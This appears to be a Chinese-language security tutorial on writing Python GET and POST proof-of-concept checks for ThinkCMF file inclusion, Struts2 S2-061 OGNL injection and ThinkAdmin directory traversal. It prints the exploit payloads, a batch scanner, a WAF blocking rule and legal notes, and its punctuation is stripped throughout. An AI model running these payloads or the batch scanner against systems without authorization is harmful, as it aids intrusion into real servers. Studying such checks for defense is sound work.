ThinkCMF/Struts2/ThinkAdmin 漏洞POC对比:GET与POST请求的3种Python实现模式
HTTP请求方法在漏洞验证中的实战应用GET与POST型POC的Python实现差异1. HTTP请求方法基础与安全测试的关系在Web安全测试中理解HTTP请求方法的差异是构建有效POC概念验证的基础。GET和POST作为最常用的两种HTTP方法在漏洞验证过程中展现出截然不同的特性和应用场景。GET请求的特点参数直接附加在URL后格式为?key1value1key2value2有长度限制通常约2048字符可被浏览器缓存、记录在历史记录中适合获取数据不应用于敏感操作POST请求的特点参数包含在请求体中URL不可见无严格长度限制不会被浏览器缓存适合提交敏感数据和执行操作关键差异对比表特性GET请求POST请求参数位置URL请求体可见性高低长度限制有无缓存行为可缓存不缓存幂等性幂等非幂等典型漏洞场景URL注入、头部注入表单注入、文件上传# GET请求基础示例 import requests response requests.get(http://example.com/api, params{key: value}) # POST请求基础示例 response requests.post(http://example.com/api, data{key: value})2. GET型漏洞POC开发实战2.1 ThinkCMF文件包含漏洞分析ThinkCMF的历史版本中存在文件包含漏洞攻击者可通过构造特殊GET请求读取服务器上的任意文件。典型漏洞触发点/?adisplaytemplateFileREADME.mdPOC开发关键点识别响应特征如ThinkCMF是一款处理异常情况网络超时、服务不可用优化用户体验参数化输入、结果美化## 3. GET型漏洞POC完整实现 import requests import argparse import sys def check_thinkcmf(url, port80, timeout5): payload /?adisplaytemplateFileREADME.md target_url fhttp://{url}:{port}{payload} headers { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64), Accept: text/html,application/xhtmlxml } try: response requests.get( target_url, headersheaders, verifyFalse, timeouttimeout, allow_redirectsFalse ) if ThinkCMF是一款 in response.text: return True, 存在ThinkCMF文件包含漏洞 return False, 未检测到漏洞特征 except requests.exceptions.RequestException as e: return False, f请求异常: {str(e)} if __name__ __main__: parser argparse.ArgumentParser() parser.add_argument(-u, --url, requiredTrue, help目标URL或IP) parser.add_argument(-p, --port, typeint, default80, help端口号) args parser.parse_args() result, message check_thinkcmf(args.url, args.port) print(f[{args.url}] {message})2.2 Struts2 S2-061漏洞解析Struts2框架的S2-061漏洞CVE-2020-17530是典型的OGNL表达式注入漏洞通过精心构造的GET请求触发。技术要点漏洞原理参数值未正确过滤OGNL表达式识别特征表达式执行结果如test2041防御绕过特殊字符编码处理def check_struts2_s2061(url, port8080, timeout5): payload /?id%25%7b%27test%27%2b(2021%2b20).toString()%7d target_url fhttp://{url}:{port}{payload} try: response requests.get( target_url, headers{User-Agent: Security Scanner}, timeouttimeout ) if test2041 in response.text: return True, 存在Struts2 S2-061漏洞 return False, 未检测到漏洞特征 except Exception as e: return False, f检测失败: {str(e)}3. POST型漏洞POC开发精要3.1 ThinkAdmin目录遍历漏洞ThinkAdmin的目录遍历漏洞需要通过POST请求触发主要特点包括请求路径/admin.html?sadmin/api.Update/node参数位置请求体form-data关键参数rules[./]开发注意事项Content-Type必须设置为application/x-www-form-urlencoded需要处理URL编码问题响应可能包含JSON格式数据## 4. POST型漏洞POC完整实现 def check_thinkadmin(url, port80, timeout5): target_url fhttp://{url}:{port}/admin.html?sadmin/api.Update/node headers { Content-Type: application/x-www-form-urlencoded, User-Agent: Mozilla/5.0 } data {rules: [./]} try: response requests.post( target_url, headersheaders, datadata, timeouttimeout, verifyFalse ) if response.status_code 200 and code in response.text: return True, 存在ThinkAdmin目录遍历漏洞 return False, 未检测到漏洞特征 except Exception as e: return False, f检测失败: {str(e)}3.2 POST请求的特殊处理相比GET请求POST型POC需要额外关注请求头设置headers { Content-Type: application/x-www-form-urlencoded, X-Requested-With: XMLHttpRequest }数据编码处理from urllib.parse import urlencode data urlencode({param: value})文件上传处理files {file: (test.txt, content)} response requests.post(url, filesfiles)4. 高级技巧与实战优化4.1 动态请求方法切换在实际测试中可能需要根据场景动态切换请求方法def send_request(url, methodGET, paramsNone, dataNone): if method.upper() GET: return requests.get(url, paramsparams) else: return requests.post(url, datadata)4.2 结果验证自动化建立完善的验证机制提高准确性def validate_response(response, signatures): :param response: requests.Response对象 :param signatures: 漏洞特征字典 :return: 验证结果 checks [ lambda: any(sig in response.text for sig in signatures.get(text, [])), lambda: response.status_code in signatures.get(status_codes, []) ] return all(check() for check in checks)4.3 性能优化策略连接池复用session requests.Session() adapter requests.adapters.HTTPAdapter(pool_connections10, pool_maxsize10) session.mount(http://, adapter)异步请求处理import asyncio import aiohttp async def check_url(session, url): async with session.get(url) as response: return await response.text()5. 安全研究与防御建议5.1 漏洞预防措施输入验证# 示例安全参数处理 from django.utils.http import urlencode safe_params urlencode({key: value})输出编码import html safe_output html.escape(user_input)5.2 企业级防护方案WAF规则示例伪代码if request.uri contains ?. or request.body contains ognl or request.body contains #context: block request安全头设置# Flask示例 app.after_request def add_headers(response): response.headers[X-Content-Type-Options] nosniff return response6. 工具化实现与扩展6.1 命令行工具开发class VulnerabilityScanner: def __init__(self): self.checks { thinkcmf: check_thinkcmf, struts2-s2061: check_struts2_s2061, thinkadmin: check_thinkadmin } def run(self, target, vuln_type): if vuln_type not in self.checks: raise ValueError(f不支持的漏洞类型: {vuln_type}) return self.checks[vuln_type](target)6.2 批量扫描实现import concurrent.futures def batch_scan(urls, check_func, threads5): results [] with concurrent.futures.ThreadPoolExecutor(max_workersthreads) as executor: futures {executor.submit(check_func, url): url for url in urls} for future in concurrent.futures.as_completed(futures): url futures[future] try: results.append((url, future.result())) except Exception as e: results.append((url, str(e))) return results7. 法律合规与道德规范在安全研究过程中必须注意仅对授权目标进行测试不使用POC进行实际攻击及时报告发现的安全问题遵守当地法律法规# 示例授权验证 def check_authorization(target): if not target.startswith((http://test., https://test.)): raise PermissionError(未经授权的测试目标) return True

相关新闻

最新新闻

日新闻

周新闻

月新闻